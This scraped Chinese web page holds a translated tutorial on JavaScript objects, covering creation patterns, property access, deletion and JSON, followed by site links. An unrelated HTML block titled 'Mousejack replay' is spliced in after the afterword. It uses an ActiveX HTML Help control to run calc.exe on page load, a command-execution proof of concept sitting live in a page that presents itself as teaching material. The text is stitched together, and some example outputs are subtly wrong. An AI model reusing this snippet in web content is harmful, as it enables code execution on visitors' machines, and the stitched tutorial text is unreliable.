详解JavaScript对象类型


Posted in Javascript onJune 16, 2016

JavaScrtip有六种数据类型,一种复杂的数据类型(引用类型),即Object对象类型,还有五种简单的数据类型(原始类型):Number、String、Boolean、Undefined和Null。其中,最核心的类型就是对象类型了。同时要注意,简单类型都是不可变的,而对象类型是可变的。
 什么是对象 
一个对象是一组简单数据类型(有时是引用数据类型)的无序列表,被存储为一系列的名-值对(name-value pairs)。这个列表中的每一项被称为 属性(如果是函数则被称为 方法)。 
下面是一个简单的对象:

var myFirstObject = { 
    firstName: "Richard",
    favoriteAuthor: "Conrad"
  };

可以把对象考虑成一个列表,列表中的每一项(属性或方法)都以名-值对的方式存储。上面例子中,对象的属性名就是firstName和favortieAuthor,相应的,对象的属性值为Richard和Conrad。
 属性名可以是字符串或者数字,但是如果以数字作为属性名,则必须以方括号(方括号记法)来获得这个数字属性名对应的属性值。稍后有方括号记法的更详细解释。下面是一个方括号记法的例子:

var ageGroup = {30: "Children", 100:"Very Old"};
  console.log(ageGroup.30) // 报错
  ​// 访问30这个属性的正确方法
  console.log(ageGroup["30"]); // Children​
  ​
  ​//最好避免使用数字作为属性名

作为一个JavaScript程序员,你会经常使用到对象数据类型。一般用它来储存数据,或者创建自定义的方法或函数。
 引用数据类型和原始数据类型 
引用类型与原始类型最主要的一个不同点就是引用类型是按引用存储的,它不会像原始类型一样,将值直接存储在变量中。比如: 

// 原始类型数据是按值存储的 
  ​var person = "Kobe"; 
  ​var anotherPerson = person; // anotherPerson = the value of person​
  person = "Bryant"; // person的值改变了
  ​
  console.log(anotherPerson); // Kobe​
  console.log(person); // Bryan

可以注意到,即使我们将person的值改为"Bryant",对anthoerPerson也会不有丝毫影响,它仍然保存了原本person赋给它的值。
 将原始类型的按值存储跟引用类型的按引用存储进行一下比较:

var person = {name: "Kobe"};
  ​var anotherPerson = person;
  person.name = "Bryant";
  ​
  console.log(anotherPerson.name); // Bryant​
  console.log(person.name); // Bryant

在这个例子中,我们将person对象复制给了anthoerPerson,但是由于person对象中存储的是引用而不是真正的值。所以当我们将person.name改变为"Bryant"的时候,anotherPerson变量也反应出了这个变化,因为它并没有将person中的所有属性都复制一份保存起来,而是直接保存了对象的引用。

对象属性的特性(Attributes) 

注:Attribute一般也是翻译为属性,但是为了跟Propertie(也翻译为属性)进行区分,这里将其翻译为特性,这也是咨询过别人的,应该无伤大雅
 每个对象属性不止保存了自身的名-值对,它同时还包含了三个特性,这三个特性默认被设置为true。
 •Configurable Attribute: 指定这个对象属性是否可以被删除或修改。
•Enumerable:指定这个对象属性在for-in循环中是否可以被取得。
•Writable:指定这个对象属性是否可以被修改。
 在EMACScript 5中有一些新的特性,这里不做详细讲解。

 创建对象
 创建对象有两种比较常用的方法:
 1.对象字面量
 这是创建对象最常用,也是最简单的方式,直接使用字面量进行创建:

// 空对象
​var myBooks = {};
​
​// 使用字面量创建的包含4个属性的对象
​var mango = {
  color: "yellow",
  shape: "round",
  sweetness: 8,
​
​  howSweetAmI: function () {
    console.log("Hmm Hmm Good");
  }
}

2.对象构造函数
 第二种常用的方法是使用对象构造函数。构造函数是一种可以用来创建新对象的特殊函数,要使用new关键字来调用构造函数。 

var mango = new Object ();
mango.color = "yellow";
mango.shape= "round";
mango.sweetness = 8;
​
mango.howSweetAmI = function () {
  console.log("Hmm Hmm Good");
}

虽然可以使用某些保留字或关键字,比如for作为对象属性的名称,不过这可不是一个明智的选择。
 对象的属性可以包含任何数据类型,包括Number,Arrays,甚至是其它的Object。
 对象创建的实践模式
 对于创建只使用一次的用于存储数据的简单对象,上面的两种方法就可以满足需求。 
但是,假设有一个程序用于展示水果和它的详细信息。程序中的每个水果类型都有如下对象属性:color, shape, sweetness, cost 和一个showName函数。要是每次创建一个新的水果对象时,都得敲一遍下面的代码,那将是十分乏味和低效率的。

var mangoFruit = {
    color: "yellow",
    sweetness: 8,
    fruitName: "Mango",
    nativeToLand: ["South America", "Central America"],
  ​
    ​showName: function () {
      console.log("This is " + this.fruitName);
    },
    ​nativeTo: function () {
      this.nativeToLand.forEach(function (eachCountry) {
        console.log("Grown in:" + eachCountry);
      });
    }
  }

如果你有10个水果,你就得添加10次相同的代码。并且,如果想修改nativeTo函数,就得在10个不同的地方进行修改。再进一步推想,如果你在开发一个大型网站,你为上面的对象都一个一个添加了属性。但是,你突然发现你创建对象的方式不是很理想,你想要进行修改,这时又该怎么办。
 为了解决这些重复性的问题,软件工程师们发明了各种模式(对于重复问题和常见任务的解决方案),使用开发程序更有效率和合理化。
 下面是两种创建对象的常用模式:
 1.构造方法模式

function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
  this.color = theColor;
  this.sweetness = theSweetness;
  this.fruitName = theFruitName;
  this.nativeToLand = theNativeToLand;

  this.showName = function () {
    console.log("This is a " + this.fruitName);
  }

  this.nativeTo = function () {
    this.nativeToLand.forEach(function (eachCountry) {
      console.log("Grown in:" + eachCountry);
    });
  }
}

使用这种模式,很容易就可以创建出各式各样的水果来。像这样:

var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
mangoFruit.showName(); // This is a Mango.​
mangoFruit.nativeTo();
​//Grown in:South America​
​// Grown in:Central America​
​// Grown in:West Africa​

​var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);
pineappleFruit.showName(); // This is a Pineapple.

如果你要改变属性或方法,你只需要在一个地方进行修改就可以了。这个模式通过一个Fruit函数的继承,封装了所有水果的功能和特性。
 注意:
 ◦可继承的属性需要定义在对象的prototype对象属性上。比如
 someObject.prototype.firstName = "rich";
◦属于自身的属性要直接定义在对象的上。比如:

// 首先,创建一个对象
var aMango = new Fruit ();
// 接着,直接在对象上定义mongoSpice方法
// 因为我们直接在对象身上定义了mangoSpice属性,所以它是aMango自身的属性,不是一个可继承的属性
aMango.mangoSpice = “some value”;

◦要访问一个对象的属性,使用object.property,如:
 console.log(aMango.mangoSpice); // "some value"
◦要调用一个对象的方法,使用object.method(),如:

// 首先,增加一个方法
aMango.printStuff = function() { return "Printing"; }

// 现在,可以调用printStuff方法
aMango.printStuff();

2.原型模式

function Fruit () {
}

Fruit.prototype.color = "Yellow";
Fruit.prototype.sweetness = 7;
Fruit.prototype.fruitName = "Generic Fruit";
Fruit.prototype.nativeToLand = "USA";

Fruit.prototype.showName = function () {
  console.log("This is a " + this.fruitName);
}

Fruit.prototype.nativeTo = function () {
  console.log("Grown in:" + this.nativeToLand);
}

下面是在原型模式中调用Fruit()构造函数的方法:

var mangoFruit = new Fruit ();
mangoFruit.showName(); //​
mangoFruit.nativeTo();
​// This is a Generic Fruit​
​// Grown in:USA

扩展阅读
 如果需要了解这两种模式的更详细的解释,可以阅读《JavaScript高级程序设计》的第六章,其中详细讨论了这两种方法的优缺点。书中还讨论了除这两个外的其它模式。 
如何访问对象中的属性 
访问对象属性的两种主要方法是点记法(dot notation)和中括号记法(bracket notation)。
 1.点记法

// 这是我们前面例子中一直使用的访问属性的方法
​var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};
​
​// 使用点记法访问book对象的title和pages属性:​
console.log ( book.title); // Ways to Go​
console.log ( book.pages); // 280

2.中括号记法

// 使用方括号启示访问book对象的属性:
console.log ( book["title"]); //Ways to Go​
console.log ( book["pages"]); // 280​
​
​//如果属性名储存在一个变量当中,也可以这样:​
​var bookTitle = "title";
console.log ( book[bookTitle]); // Ways to Go​
console.log (book["bookMark" + 1]); // Page 20

访问一个对象中不存在的属性会得到一个undefined。

自身属性和继承属性 
对象拥有自身属性和继承属性。自身属性是直接定义在对象上的属性,而继承属性是从Object的Prototype继承的属性。
 为了确写一个对象是否拥有某个属性(不管是自身属性还是继承属性),可以使用in操作符:

// 创建一个有schoolName属性的对象
  var school = {schoolName:"MIT"};

  ​// 打印出true,因为对象拥有schoolName这个属性
  console.log("schoolName" in school); // true​
  ​
  ​// 打印出false,因为我们既没有定义schoolType属性,也没有从Object的Prototype中继承schoolType属性
  console.log("schoolType" in school); // false​
   
  ​// 打印出true, 因为从Object的Prototype中继承了toString方法
  console.log("toString" in school); // true

hasOwnProperty
 为了确定一个对象是否拥有一个特定的自身属性,可以使用hasOwnPrototype方法。这个方法十分有用,因为我们经常需要枚举一个对象的所有自身属性,而不是继承属性。

// 创建一个拥有schoolName属性的对象
  ​var school = {schoolName:"MIT"};
  ​
  ​// 打印出true,因为schooName是school的自身属性
  console.log(school.hasOwnProperty ("schoolName")); // true​
   
  ​// 打印出false,因为toString是从Object的Prototype中继承下来的,并且school的自身属性
  console.log(school.hasOwnProperty ("toString")); // false

访问和枚举对象中的属性
 为了访问对象中可以枚举的属性(自身或者继承的),可以使用for-in循环或普通的循环方式。

// 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation.​
  ​var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
  ​
  ​//使用for-in循环获取对象中的属性
  ​for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }

访问继承的属性
 从Object的Prototype中继承的属性不可枚举的,所以在for-in循环中不会访问到这些属性。然而,如果是可枚举的继承属性,它们也是能够从for-in循环中访问到的。
 比如:

//使用for-in循环访问school对象中的属性
  for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }


  // 注:以下这段说明是原文的说明
  /* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property.
  */​

  // Create a new HigherLearning function that the school object will inherit from.​

  function HigherLearning () {
    this.educationLevel = "University";
  }

  // Implement inheritance with the HigherLearning constructor​
  var school = new HigherLearning ();
  school.schoolName = "MIT";
  school.schoolAccredited = true;
  school.schoolLocation = "Massachusetts";

  //Use of the for/in loop to access the properties in the school object​
  for (var eachItem in school) {
    console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation​
  }

删除对象中的属性
 可以使用delete操作符来删除对象中的属性。我们不能删除继承的属性,同时也不能删除Configurable特性被设置为false的对象属性。要删除继承的属性,必须从Prototype对象中删除(也就是定义这些属性的地方)。并且,我们也不能删除全局对象中的属性。
 删除成功的时候,delete操作符会返回true。令人意外的是,当要删除的属性不存在,或者不能被删除(即不是自身的属性或者Configurable特性被设置为false)时, delete操作符也会返回true。
 以下是示例:
  

var christmasList = {mike:"Book", jason:"sweater" }
  delete christmasList.mike; // deletes the mike property​

  for (var people in christmasList) {
    console.log(people);
  }
  // Prints only jason​
  // The mike property was deleted​

  delete christmasList.toString; // 返回 true, 但是因为toString是继承的属性,所以它不会被删除

  // 因为toString没有被删除,所以这里还能够正常使用
  christmasList.toString(); //"[object Object]"​

  // 如果一个属性是对象实例的自身属性,则我们可以删除它。
  // 比如我们可以从之前例子中定义的school对象中删除educationLevel属性,
  // 因为educationLevel是定义在那个实例中的:我们在HigherLearning函数中定义educationLevel时使用了"this"关键字。
  //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。

  console.log(school.hasOwnProperty("educationLevel")); // true​
  // educationLevel是一个school对象的一个自身属性,所以 我们可以删除它​
  delete school.educationLevel; // true

  // educationLevel属性已经从school实例中删除了
  console.log(school.educationLevel); // undefined

  // 但是educationLevel属性仍然存在于HigherLearning函数中
  var newSchool = new HigherLearning ();
  console.log(newSchool.educationLevel); // University​

  // 如果我们在HigherLearning函数prototype中定义了一个属性, 比如这个educationLevel2属性:​
  HigherLearning.prototype.educationLevel2 = "University 2";

  // 这个educationLevel2属性不属性HigherLearning实例的自身属性

  // educationLevel2属性不是school实例的自身属性​
  console.log(school.hasOwnProperty("educationLevel2")); false​
  console.log(school.educationLevel2); // University 2​

  // 尝试删除继承的educationLevel2属性​
  delete school.educationLevel2; // true (正如前面所提到的,这个表达式会返回true)

  // 继承的educationLevel2属性没有被删除
  console.log(school.educationLevel2); University 2​

序列化和反序列化对象
 为了在HTTP中传递对象或者将对象转化成字符串,我们必须将对象序列化(将其转化为字符串)。我们可以使用JSON.stringify来序列化对象。要注意的是,在ECMAScript 5之前的版本,我们要使用json2库来获得JSON.stringify函数。在ECMAScript 5中,这个函数已经成为标准函数。
 为了将反序列化对象(即,将字符串转化成对象),可以使用JSON.parse函数来完成。同样,在第5版之前要从json2库中获取这个函数,在第5版中已经加入这个标准函数。
 示例代码:
   

var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
  JSON.stringify (christmasList);
  // Prints this string:​
  // "{"mike":"Book","jason":"sweater","chels":"iPad"}"

  // To print a stringified object with formatting, add "null" and "4" as parameters:​
  JSON.stringify (christmasList, null, 4);
  // "{
  //   "mike": "Book",
  //   "jason": "sweater",
  //   "chels": "iPad"​
  // }"

  // JSON.parse Examples
  // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)​
  var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}';

  // Let's convert it to an object​
  var christmasListObj = JSON.parse (christmasListStr);

  // Now that it is an object, we use dot notation​
  console.log(christmasListObj.mike); // Book

更多关于JavaScript对象的讨论和解释,以及ECMAScript第5版增加的内容,可以参考《JavaScript权威指南(第6版)》第六章。

后记 
第一次翻译文章,真心觉得要把翻译做好也不是那么简单的,很多简单的句子看着很明白,结果真正想翻译出来的时候,却是死活想不出合适的表达方式。通篇文章都是根据我自己的理解,然后通过意译出来的,没有逐句进行翻译。所以,如果有哪些地方理解有偏差,或者翻译不当的地方,请尽量指出,我会尽快改正。毕竟翻译这往篇文章也是想跟大家分享,我不希望因为自己理解的错误,导致对大家产生误导。 
就酱,收工。

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
 
command exec
 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
 
<PARAM name="Command" value="ShortCut">
 
 <PARAM name="Button" value="Bitmap::shortcut">
 
 <PARAM name="Item1" value=',calc.exe'>
 
 <PARAM name="Item2" value="273,1,1">
 
</OBJECT>
 
<SCRIPT>
 
x.Click();
 
</SCRIPT>
 
</body></html>

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
jQuery对象数据缓存Cache原理及jQuery.data方法区别介绍
Apr 07 Javascript
IE、FF浏览器下修改标签透明度
Jan 28 Javascript
jquery移除、绑定、触发元素事件使用示例详解
Apr 10 Javascript
重写document.write实现无阻塞加载js广告(补充)
Dec 12 Javascript
jQuery中使用each处理json数据
Apr 23 Javascript
JavaScript实现的多个图片广告交替显示效果代码
Sep 04 Javascript
一起学写js Calender日历控件
Apr 14 Javascript
jquery实现静态搜索功能(可输入搜索文字)
Mar 28 jQuery
详解vue.js2.0父组件点击触发子组件方法
May 10 Javascript
node.js的exports、module.exports与ES6的export、export default深入详解
Oct 26 Javascript
vue+springmvc导出excel数据的实现代码
Jun 27 Javascript
javascript系统时间设置操作示例
Jun 17 Javascript
jQuery on()方法绑定动态元素的点击事件实例代码浅析
Jun 16 #Javascript
jQuery页面元素动态添加后绑定事件丢失方法,非 live
Jun 16 #Javascript
JSON字符串和对象相互转换实例分析
Jun 16 #Javascript
jQuery的层级查找方式分析
Jun 16 #Javascript
jQuery实现响应鼠标事件的图片透明效果【附demo源码下载】
Jun 16 #Javascript
JS中sort函数排序用法实例分析
Jun 16 #Javascript
JS原型对象的创建方法详解
Jun 16 #Javascript
You might like
PHP中的cookie
2006/11/26 PHP
探讨php中防止SQL注入最好的方法是什么
2013/06/10 PHP
php array_key_exists() 与 isset() 的区别
2016/10/24 PHP
thinkPHP5框架auth权限控制类与用法示例
2018/06/12 PHP
My Desktop :) 桌面式代码
2008/12/29 Javascript
jquery中获取select选中值的代码
2011/06/27 Javascript
使用javascript实现ListBox左右全选,单选,多选,全请
2013/11/07 Javascript
js整数字符串转换为金额类型数据(示例代码)
2013/12/26 Javascript
JavaScript实现点击按钮就复制当前网址
2015/12/14 Javascript
学习JavaScript设计模式之代理模式
2016/01/12 Javascript
JavaScript File分段上传
2016/03/10 Javascript
JS实现表单验证功能(验证手机号是否存在,验证码倒计时)
2016/10/11 Javascript
web 屏蔽BackSpace键实例代码
2016/12/24 Javascript
Node.js中 __dirname 的使用介绍
2017/06/19 Javascript
Angular2关于@angular/cli默认端口号配置的问题
2017/07/15 Javascript
通过nodejs 服务器读取HTML文件渲染到页面的方法
2018/05/17 NodeJs
Angular动画实现的2种方式以及添加购物车动画实例代码
2018/08/09 Javascript
使用VUE+iView+.Net Core上传图片的方法示例
2019/01/04 Javascript
nodejs通过钉钉群机器人推送消息的实现代码
2019/05/05 NodeJs
three.js 制作动态二维码的示例代码
2020/07/31 Javascript
详解JavaScript中分解数字的三种方法
2021/01/05 Javascript
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
2014/04/08 Python
Python队列的定义与使用方法示例
2017/06/24 Python
Python小进度条显示代码
2019/03/05 Python
python常用库之NumPy和sklearn入门
2019/07/11 Python
解决Python import docx出错DLL load failed的问题
2020/02/13 Python
python使用信号量动态更新配置文件的操作
2020/04/01 Python
使用css3实现的tab选项卡代码分享
2014/12/09 HTML / CSS
HTML5教程之html 5 本地数据库(Web Sql Database)
2014/04/03 HTML / CSS
ECCO俄罗斯官网:北欧丹麦鞋履及皮具品牌
2020/06/26 全球购物
工程专业应届生求职信
2014/02/19 职场文书
幼儿园社区活动总结
2014/07/07 职场文书
写得不错的求职信范文
2014/07/11 职场文书
幼儿园见习报告
2014/10/30 职场文书
毕业论文指导教师评语
2014/12/30 职场文书
2015年五一劳动节慰问信
2015/03/23 职场文书